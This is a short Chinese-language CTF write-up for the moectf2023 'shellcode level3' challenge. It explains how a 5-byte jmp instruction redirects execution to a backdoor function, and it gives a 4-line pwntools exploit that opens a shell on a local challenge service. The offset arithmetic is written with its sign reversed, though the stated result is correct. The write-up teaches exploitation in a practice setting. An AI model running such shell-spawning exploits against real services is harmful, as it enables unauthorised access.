moectf2023 - shellcode level3

RocketDev

文件分析

下载shellcode_level3, NX on, PIE off, Canary off, RELRO partial
ghidra分析为64位程序

解题思路

程序读入5字节并执行,且存在后门函数
考虑跳转指令执行shellcode跳转到此处

Shellcode: e8 -> call; e9 -> jmp
后面可跟相对地址(跳转地址-跳转命令所在地址+5)
相对地址为4Bytes

全局变量code地址0x404089,后门函数givemeshell地址0x4011d6
那么相对地址为0x404089 + 5 - 0x4011d6 = 0xffffd148 int32_t

EXPLOIT

1
2
3
4
from pwn import *
sh = remote('localhost', 46239)
sh.sendline(b'\xe9' + p32(0xffffd148))
sh.interactive()

Done.

  • 标题: moectf2023 - shellcode level3
  • 作者: RocketDev
  • 创建于 : 2023-09-24 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/24/shellcode_level3/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
moectf2023 - shellcode level3